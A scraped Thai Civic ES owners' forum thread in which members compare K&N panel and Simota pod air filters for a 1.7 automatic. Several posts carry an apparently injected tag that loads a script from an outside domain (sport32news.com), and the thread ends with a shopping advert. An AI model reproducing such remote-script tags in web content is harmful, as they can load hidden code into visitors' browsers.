ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

หน้าหลัก เข้าสู่ระบบ สมัครสมาชิก รายชื่อสมาชิก

General Talk

ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

chatchai sirithaweechai

ชื่อเล่น: ตี๋

เข้าร่วม: 04 มกรา 2010
ตอบ: 436

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 224
ให้คำขอบคุณ: 33

ที่อยู่: สาธร-สมุทรปราการ
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 8 พฤศจิกา 2011 13:29 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

พอดีอยากเปลี่ยนกรองใหม่ครับก็เลยอยากรู้ว่ากรอง 2ตัวนี้ ระหว่าง กรองแผ่น k&n และ กรอง simota ใส่แล้วตัวไหนวิ่งดีกว่ากันแล้วรอบต้น+ปลายเป็นยังงัยบ้างครับ รถผม es 1.7 vtec เกียร์ at ใส่ท่อพักหลังทรง spoon ใส้เกลียวคับ "<script src="https://sport32news.com/civicesgroup.js">

"<script src="https://sport32news.com/civicesgroup.js">

แก้ไขล่าสุดโดย เมื่อ พฤหัส, 10 พฤศจิกา 2011 17:35, ทั้งหมด 1 ครั้ง (ดูทั้งหมด)

yoosabai

ชื่อเล่น: เอ้

เข้าร่วม: 30 กันยา 2008
ตอบ: 1992

ครอบครัว ES

ได้รับคำขอบคุณ: 8345
ให้คำขอบคุณ: 4773

ที่อยู่: Samutprakarn
ปี: 2005
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

อังคาร, 8 พฤศจิกา 2011 13:33 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

กรองแผ่น K&N น่าจะเหมาะสมกับเกียร์ AT มากกว่า simota ครับ

ได้รับคำขอบคุณจาก: chatchai sirithaweechai zan tokykung VinZz Pak

bandai_join

เข้าร่วม: 23 กุมภา 2009
ตอบ: 3754

ครอบครัว ES

ได้รับคำขอบคุณ: 6410
ให้คำขอบคุณ: 536

ปี: 2003
สี: ทอง แซทเทิลไลท์ (NH-663M)

อังคาร, 8 พฤศจิกา 2011 13:34 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

yoosabai พิมพ์ว่า:

กรองแผ่น K&N น่าจะเหมาะสมกับเกียร์ AT มากกว่า simota ครับ

+1

แต่ถ้าอยากใได้เสียงดูดโหดๆ ห้องเครื่องสวยๆ ก็ simota ครับ

ได้รับคำขอบคุณจาก: BEER_CIVIC ES chatchai sirithaweechai VinZz Pak

poppy

เข้าร่วม: 16 กุมภา 2011
ตอบ: 1438

ครอบครัว ES

ได้รับคำขอบคุณ: 1044
ให้คำขอบคุณ: 1079

ที่อยู่: สุโขทัย - นครสวรรค์ - พิษณุโลก - กำแพงเพชร
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 8 พฤศจิกา 2011 13:59 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

bandai_join พิมพ์ว่า:

yoosabai พิมพ์ว่า:

กรองแผ่น K&N น่าจะเหมาะสมกับเกียร์ AT มากกว่า simota ครับ

+1

แต่ถ้าอยากใได้เสียงดูดโหดๆ ห้องเครื่องสวยๆ ก็ simota ครับ

ได้รับคำขอบคุณจาก: BEER_CIVIC ES chatchai sirithaweechai

Freeway

ชื่อเล่น: อุ้ม

เข้าร่วม: 25 พฤษภาคม 2011
ตอบ: 561

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 232
ให้คำขอบคุณ: 612

ที่อยู่: สระบุรี
ปี: 2001
สี: ขาว ทาฟเฟต้า (NH-578)

อังคาร, 8 พฤศจิกา 2011 20:15 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

yoosabai พิมพ์ว่า:

กรองแผ่น K&N น่าจะเหมาะสมกับเกียร์ AT มากกว่า simota ครับ

ได้รับคำขอบคุณจาก: chatchai sirithaweechai

chatchai sirithaweechai

ชื่อเล่น: ตี๋

เข้าร่วม: 04 มกรา 2010
ตอบ: 436

แซงซ้าย ปาดขวา

พุธ, 9 พฤศจิกา 2011 10:17 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

จะซื้อk&nมีร้านแนะนำบ้างมั้ยอ่ะครับ "<script src="https://sport32news.com/civicesgroup.js">

nawintar

ชื่อเล่น: ต้าร์

เข้าร่วม: 08 พฤศจิกา 2009
ตอบ: 1383

ครอบครัว ES

ได้รับคำขอบคุณ: 285
ให้คำขอบคุณ: 64

ที่อยู่: แก่งคอย หนองแค สระบุรี
ปี: 2004
สี: ขาว ทาฟเฟต้า (NH-578)

พุธ, 9 พฤศจิกา 2011 11:57 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

ห้องซื้อขายเลยคับลด30เปอเซน

ได้รับคำขอบคุณจาก: chatchai sirithaweechai

adisak

ชื่อเล่น: ปอง

เข้าร่วม: 06 พฤศจิกา 2008
ตอบ: 1675

ครอบครัว ES

ได้รับคำขอบคุณ: 649
ให้คำขอบคุณ: 1327

ที่อยู่: SCG.CEMENT
ปี: 2004
สี: ขาว ทาฟเฟต้า (NH-578)

พฤหัส, 10 พฤศจิกา 2011 12:41 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

nawintar พิมพ์ว่า:

ห้องซื้อขายเลยคับลด30เปอเซน

ได้รับคำขอบคุณจาก: chatchai sirithaweechai

puyzaaaaa

ชื่อเล่น: ปุ่ย

เข้าร่วม: 10 เมษา 2011
ตอบ: 3008

ครอบครัว ES

ได้รับคำขอบคุณ: 3014
ให้คำขอบคุณ: 3113

ที่อยู่: พิษณุโลก
ปี: 2004

พฤหัส, 10 พฤศจิกา 2011 12:59 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

จัด ไปตามนั่นครับ กรองแผ่น ^^ ใช้งานระยะยาวๆ

ปล. ของผม simota นะ เพราะเปง MT ฮ่าๆ

ได้รับคำขอบคุณจาก: chatchai sirithaweechai golf_6g72

chatchai sirithaweechai

ชื่อเล่น: ตี๋

เข้าร่วม: 04 มกรา 2010
ตอบ: 436

แซงซ้าย ปาดขวา

พฤหัส, 10 พฤศจิกา 2011 16:50 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

แล้วเกียร์ auto 1.7 ถ้าเทียบระหว่าง กรองแผ่น k&n กับ simota อัตราเร่งเป็นยังงัยบ้างคับ ตอนนี้ผม ลังเล สุดๆ เพราะกรองแผ่นk&nก็วิ่งดีเหมาะสมกว่า แต่ simota ใส่แล้วสวยกว่าดูโหดอีกต่างหาก

maya

ชื่อเล่น: เมษ์

เข้าร่วม: 02 ธันวา 2008
ตอบ: 349

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 324
ให้คำขอบคุณ: 607

ที่อยู่: จันทบุรี @ <ขลุง>®
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

พฤหัส, 10 พฤศจิกา 2011 21:54 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

ผมว่าถ้ารถเดิม ๆ ไม่ได้ขยับอะไรกับตัวเครื่อง เปลี่ยนกรองอย่างเดียว ไม่น่าจะรู้สึกมากนะครับ อยู่ที่ว่าเราชอบและเทใจไปทางไหน ผมเองก็เคยลังเล... แต่ตอนนี้ผมรู้คำตอบแล้วครับ ถ้าอยากได้ simota จัดเลยครับ ผมเชียร์...ส่วนตัวผมเอง 3 ตัวแล้วครับ แผ่น , simota ,Top Fuel

... ผมเครื่องเดิม 1.7 AT LPG ครับ เอาที่ใจเราต้องการครับ

ได้รับคำขอบคุณจาก: chatchai sirithaweechai tokykung HankMan TanKrab VinZz Pak

nilkung

ชื่อเล่น: นิล

เข้าร่วม: 21 กุมภา 2010
ตอบ: 1477

ครอบครัว ES

ได้รับคำขอบคุณ: 1466
ให้คำขอบคุณ: 1317

ที่อยู่: หัวหิน-ปราณบุรี
ปี: 2003
สี: ฟ้า ไอซ์บูล (เมทัลลิก) (B-506M)

ศุกร์, 11 พฤศจิกา 2011 18:00 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

maya พิมพ์ว่า:

+1

ผมก็อยากได้ simota 1.7 AT. มันดูสวยดี ว่ากันว่าต้นหาย ช่างมันไม่ได้แข่งกับใคร <script src="https://sport32news.com/civicesgroup.js"></

ZA-KOD

ชื่อเล่น: หนึ่ง

เข้าร่วม: 06 มิถุนา 2011
ตอบ: 131

มือใหม่หัดขับ

ได้รับคำขอบคุณ: 84
ให้คำขอบคุณ: 26

ที่อยู่: บางเสร่-ชลบุรี
ปี: 2002
สี: ดำ ไนท์ฮอว์ก (B-92P)

จันทร์, 10 กันยา 2012 09:46 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

maya พิมพ์ว่า:

ผมก็กำลังสนใจอยุ่ครับ ไม่ทราบว่า ทั้ง3ที่ใช้มา วิ่งแล้วแตกต่างกันมากน้อยแค่ไหนครับ ช่วยแชร์ประสบการณ์ให้น้อง มือใหม่
ด้วยครับผม

golf_6g72

ชื่อเล่น: กอล์ฟ

เข้าร่วม: 28 สิงหา 2012
ตอบ: 231

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 232
ให้คำขอบคุณ: 287

ที่อยู่: 16/4 ม.4 ต.น้ำเชี่ยว อ.แหลมงอบ จ.ตราด
ปี: 2001
สี: ทอง เดเสิร์ท มิสท์ (เมทัลลิก) (YP-538M)

ศุกร์, 14 กันยา 2012 00:02 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

เคยแต่กรองเดิม VS K&N รู้สึกว่ากรอง K&N วิ่งดีกว่าหน่อยๆ

CALM

เข้าร่วม: 19 สิงหา 2012
ตอบ: 320

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 286
ให้คำขอบคุณ: 574

ที่อยู่: บ้านบิดาครับ
ปี: 2004
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

ศุกร์, 14 กันยา 2012 00:17 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

ผมว่า K&N นะน่าจะเวอร์ค ครับ ตามความรู้สึกผมนะ

แต่ถ้าจะไห้วิ่งกันเห็น ๆ นะ ต้องไม่ใช่แค่กรองแล้วง่ะ ครับ "<script src="https://sport32news.com/civicesgroup.js">

กรองน่ะ ส่วนน้อยครับ เอาที่ชอบดีกว่า ตังคุณกระเป๋าคุณนี่ น่า "ครับตัดสินใจไปเลยครับเจ้านาย" ฮ่า ๆๆ <script src="https://sport32news.com/civicesgroup.js"></

pom_sawas

เข้าร่วม: 13 ธันวา 2008
ตอบ: 886

Guru ES
Guru ES

ได้รับคำขอบคุณ: 664
ให้คำขอบคุณ: 898

ที่อยู่: ร้านขายนมผง
ปี: 2004
สี: เทา ซิลเวอร์สโตน (NH-630M)

ศุกร์, 14 กันยา 2012 14:51 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

K&N ครับบบบ

HankMan

เข้าร่วม: 10 มกรา 2011
ตอบ: 424

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 359
ให้คำขอบคุณ: 749

ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 14 กันยา 2012 15:00 - ระหว่าง กรองแผ่น k&n และ กรอง simota ครับ

ถ้าว่ากันตามทฤษฎี ก้อต้องกรองแผ่น K&N คับ
แต่ถ้าถามใจตัวเองก้อต้อง simota อยู่แล้วคับ
ส่วนตัวผมเปลี่ยนจากกรองเดิมมาใส่ top fuel เท่าที่จำได้ ต้นอืดกว่าเดิมเล็กน้อย แบบพอสัมผัสได้คับ แต่ไม่ถึงกับอืดเป็นเรือเกลือเหมือนที่หลายๆ คนกลัว แต่พอ 3 พันรอบขึ้นไปขับสนุกกว่าเดิมเยอะเลยครับ ผมเชียร์ให้เลือก simota คับ
ปล รถผมใส่ท่อสูตร FGK ไส้ย้อนของพี่นัทคับ

หน้า 1 จาก 1

ไปที่:

สบายเลยค่ะ แบบนี้ โซฟาเบาะนั่งทรงญี่ปุ่น จะนั่งเล่น นอนดูทีวีก็สะดวกสบาย ปรับนอนได้ สวย ชอบค่ะ

พิกัด : https://shope.ee/5V50QpxxZ9

ติดต่อโฆษณา admin@civicesgroup.com